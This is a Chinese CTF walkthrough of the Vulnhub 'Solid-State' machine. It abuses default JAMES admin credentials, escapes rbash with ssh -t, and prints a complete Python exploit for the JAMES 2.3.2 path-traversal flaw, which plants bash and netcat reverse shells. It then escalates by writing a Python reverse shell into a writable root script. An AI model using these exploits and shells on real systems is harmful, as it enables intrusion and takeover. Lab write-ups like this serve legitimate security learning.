[Vulnhub]Solid-State POP3邮件服务(James)+rbash逃逸

2024-06-15 23:12

本文主要是介绍[Vulnhub]Solid-State POP3邮件服务(James)+rbash逃逸,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

信息收集&SSH

Server IP addressPorts Open
192.168.8.100TCP:22,25,80,110,119,4555

Nmap 扫描:

$ nmap -p- 192.168.8.100 --min-rate 1000 -sC -sV

结果:

Host is up (0.00061s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp        JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello 192.168.8.100 (192.168.8.107 [192.168.8.107]), PIPELINING, ENHANCEDSTATUSCODES
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

目标存在 james-admin 服务.

$ nc 192.168.8.100 4555

使用root,root登录服务管理

image.png

修改用户mindy密码.

setpassword mindy mindy

再次连接到pop3服务

$ nc -nC 192.168.8.100 110

user mindy
pass mindy
list
retr 2

image-1.png

从邮件中获得用户名密码

username: mindy
pass: P@55W0rd1!2@

通过ssh登录后,你会发现这个用户受到rbash权限限制

image-2.png

当用户使用 rbash 时,会受到以下限制:

  • 禁止更改目录:用户无法使用 cd 命令更改当前工作目录。
  • 禁止设置和取消设置 shell 选项和位置参数:用户无法使用 set 和 unset 命令来更改 shell 的选项和位置参数。
  • 禁止执行包含斜杠(/)的命令:用户不能直接执行路径中包含斜杠的命令。这意味着用户只能运行系统中已经配置好的命令。
  • 禁止重定向输出:用户不能使用重定向(如 > 和 <)来读写文件。
  • 禁止使用环境变量更改路径:用户无法更改 $PATH 环境变量,以防止其访问未经授权的命令。
  • 禁止导入和定义函数:用户无法使用 source 或 . 来运行脚本,也不能定义函数。

使用 ssh -t 选项 rbash逃逸

$ ssh mindy@192.168.8.100 -t bash

image-3.png

使用 ssh -t 选项绕过 rbash
当你使用 ssh -t bash 命令时,实际的行为涉及以下关键点:

强制分配伪终端

  • -t 选项强制 SSH 会话分配一个伪终端。这在某些情况下是必要的,例如当需要交互式 shell 时。

直接启动新 Shell

  • SSH 成功登录后,-t bash 告诉 SSH 在目标机器上直接启动 bash shell,而不是默认的登录 shell。即使默认的登录 shell 是 rbash,该命令也会覆盖默认的 shell 并启动一个普通的 bash

逃逸 rbash 的限制

  • rbash 环境中,用户无法直接通过命令行启动 bash,因为它禁止执行包含斜杠的命令和路径。
    通过使用 ssh -t bash,你绕过了 rbash 的限制,因为这个命令是在 SSH 会话建立时由远程 SSH 服务处理的,而不是在 rbash shell 内部处理的。

利用 James 已知漏洞 rbash逃逸

#!/usr/bin/python3import socket
import sys
import time# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'if len(sys.argv) != 4:sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")sys.exit(1)remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
#payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login onlyprint ("[+]Payload Selected (see script for more options): ", payload)
if '/bin/bash' in payload:print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)def recv(s):s.recv(1024)time.sleep(0.2)try:print ("[+]Connecting to James Remote Administration Tool...")s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.s.recv(1024)s.send((user + "\n").encode('utf-8'))s.recv(1024)s.send((pwd + "\n").encode('utf-8'))s.recv(1024)print ("[+]Creating user...")s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))s.recv(1024)s.send("quit\n".encode('utf-8'))s.close()print ("[+]Connecting to James SMTP server...")s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.s.send("ehlo team@team.pl\r\n".encode('utf-8'))recv(s)print ("[+]Sending payload...")s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))recv(s)# also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be founds.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))recv(s)s.send("data\r\n".encode('utf-8'))recv(s)s.send("From: team@team.pl\r\n".encode('utf-8'))s.send("\r\n".encode('utf-8'))s.send("'\n".encode('utf-8'))s.send((payload + "\n").encode('utf-8'))s.send("\r\n.\r\n".encode('utf-8'))recv(s)s.send("quit\r\n".encode('utf-8'))recv(s)s.close()print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")if '/bin/bash' in payload:print ("[+]Don't forget to start a listener on port", port, "before logging in!")
except:print ("Connection failed.")

我们逐步分析脚本
1.这个脚本是利用了James目录穿越漏洞
2.创建一个恶意用户
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
3.连接SMTP(25)服务,发送邮件给…/…/…/…/…/…/…/…/etc/bash_completion.d

s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
recv(s)
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
recv(s)
s.send("data\r\n".encode('utf-8'))
recv(s)
s.send("From: team@team.pl\r\n".encode('utf-8'))
s.send("\r\n".encode('utf-8'))
s.send("'\n".encode('utf-8'))
s.send((payload + "\n").encode('utf-8'))
s.send("\r\n.\r\n".encode('utf-8'))
recv(s)
s.send("quit\r\n".encode('utf-8'))
recv(s)

这行代码中发送给了 ../../../../../../../../etc/bash_completion.d,但是实际上服务端在处理该邮件时,已将带有反向shell的载荷保存到 ../../../../../../../../etc/bash_completion.d

由于 /etc/bash_completion.d 目录中的脚本在用户启动 Bash 时会自动加载和执行,因此当用户登录时,payload(有效载荷)也会被执行。

所以我们需要监听10032

$ nc -lvnp 10032
$ python3 exp.py 192.168.8.100 192.168.8.107 10032

image-4.png

因此我们需要利用ssh登录,来触发payload

$ ssh mindy@192.168.8.100

image-5.png

image-6.png

Local.txt 截屏

image-7.png

Local.txt 内容

dj218doa91

权限提升

我们将pspy32工具上传至服务器
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32

pspy32 是 pspy 工具的 32 位版本。pspy 是一个开源工具,用于监控 Linux 系统上的进程和命令执行。它不需要 root 权限,也不依赖于系统上的任何特定库或二进制文件,因此可以非常方便地用于安全审计和调试目的。

${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ chmod +x pspy32

image-8.png

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ vi /opt/tmp.py

root 用户执行了/opt/tmp.py
不幸的是,我们无法在/etc/crontab看到这个任务执行周期
通过ls -la /opt/tmp.py 查看,验证了这个文件的确可以被任何用户修改

我们将反向shell代码写入到/opt/tmp.py

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.107",10033));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

image-9.png

$ nc -lvnp 10033

几分钟后我们可以获取目标Root权限

image-10.png

Proot.txt 截屏

image-11.png

Proot.txt 内容

di1910012n

这篇关于[Vulnhub]Solid-State POP3邮件服务(James)+rbash逃逸的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1064854

相关文章

sysmain服务可以禁用吗? 电脑sysmain服务关闭后的影响与操作指南

《sysmain服务可以禁用吗?电脑sysmain服务关闭后的影响与操作指南》在Windows系统中,SysMain服务(原名Superfetch)作为一个旨在提升系统性能的关键组件,一直备受用户关... 在使用 Windows 系统时,有时候真有点像在「开盲盒」。全新安装系统后的「默认设置」,往往并不尽编

Python 基于http.server模块实现简单http服务的代码举例

《Python基于http.server模块实现简单http服务的代码举例》Pythonhttp.server模块通过继承BaseHTTPRequestHandler处理HTTP请求,使用Threa... 目录测试环境代码实现相关介绍模块简介类及相关函数简介参考链接测试环境win11专业版python

基于Python实现自动化邮件发送系统的完整指南

《基于Python实现自动化邮件发送系统的完整指南》在现代软件开发和自动化流程中,邮件通知是一个常见且实用的功能,无论是用于发送报告、告警信息还是用户提醒,通过Python实现自动化的邮件发送功能都能... 目录一、前言:二、项目概述三、配置文件 `.env` 解析四、代码结构解析1. 导入模块2. 加载环

Nginx中配置使用非默认80端口进行服务的完整指南

《Nginx中配置使用非默认80端口进行服务的完整指南》在实际生产环境中,我们经常需要将Nginx配置在其他端口上运行,本文将详细介绍如何在Nginx中配置使用非默认端口进行服务,希望对大家有所帮助... 目录一、为什么需要使用非默认端口二、配置Nginx使用非默认端口的基本方法2.1 修改listen指令

SysMain服务可以关吗? 解决SysMain服务导致的高CPU使用率问题

《SysMain服务可以关吗?解决SysMain服务导致的高CPU使用率问题》SysMain服务是超级预读取,该服务会记录您打开应用程序的模式,并预先将它们加载到内存中以节省时间,但它可能占用大量... 在使用电脑的过程中,CPU使用率居高不下是许多用户都遇到过的问题,其中名为SysMain的服务往往是罪魁

基于Python编写自动化邮件发送程序(进阶版)

《基于Python编写自动化邮件发送程序(进阶版)》在数字化时代,自动化邮件发送功能已成为企业和个人提升工作效率的重要工具,本文将使用Python编写一个简单的自动化邮件发送程序,希望对大家有所帮助... 目录理解SMTP协议基础配置开发环境构建邮件发送函数核心逻辑实现完整发送流程添加附件支持功能实现htm

解决若依微服务框架启动报错的问题

《解决若依微服务框架启动报错的问题》Invalidboundstatement错误通常由MyBatis映射文件未正确加载或Nacos配置未读取导致,需检查XML的namespace与方法ID是否匹配,... 目录ruoyi-system模块报错报错详情nacos文件目录总结ruoyi-systnGLNYpe

Nginx进行平滑升级的实战指南(不中断服务版本更新)

《Nginx进行平滑升级的实战指南(不中断服务版本更新)》Nginx的平滑升级(也称为热升级)是一种在不停止服务的情况下更新Nginx版本或添加模块的方法,这种升级方式确保了服务的高可用性,避免了因升... 目录一.下载并编译新版Nginx1.下载解压2.编译二.替换可执行文件,并平滑升级1.替换可执行文件

Spring Boot 与微服务入门实战详细总结

《SpringBoot与微服务入门实战详细总结》本文讲解SpringBoot框架的核心特性如快速构建、自动配置、零XML与微服务架构的定义、演进及优缺点,涵盖开发环境准备和HelloWorld实战... 目录一、Spring Boot 核心概述二、微服务架构详解1. 微服务的定义与演进2. 微服务的优缺点三

RabbitMQ消息总线方式刷新配置服务全过程

《RabbitMQ消息总线方式刷新配置服务全过程》SpringCloudBus通过消息总线与MQ实现微服务配置统一刷新,结合GitWebhooks自动触发更新,避免手动重启,提升效率与可靠性,适用于配... 目录前言介绍环境准备代码示例测试验证总结前言介绍在微服务架构中,为了更方便的向微服务实例广播消息,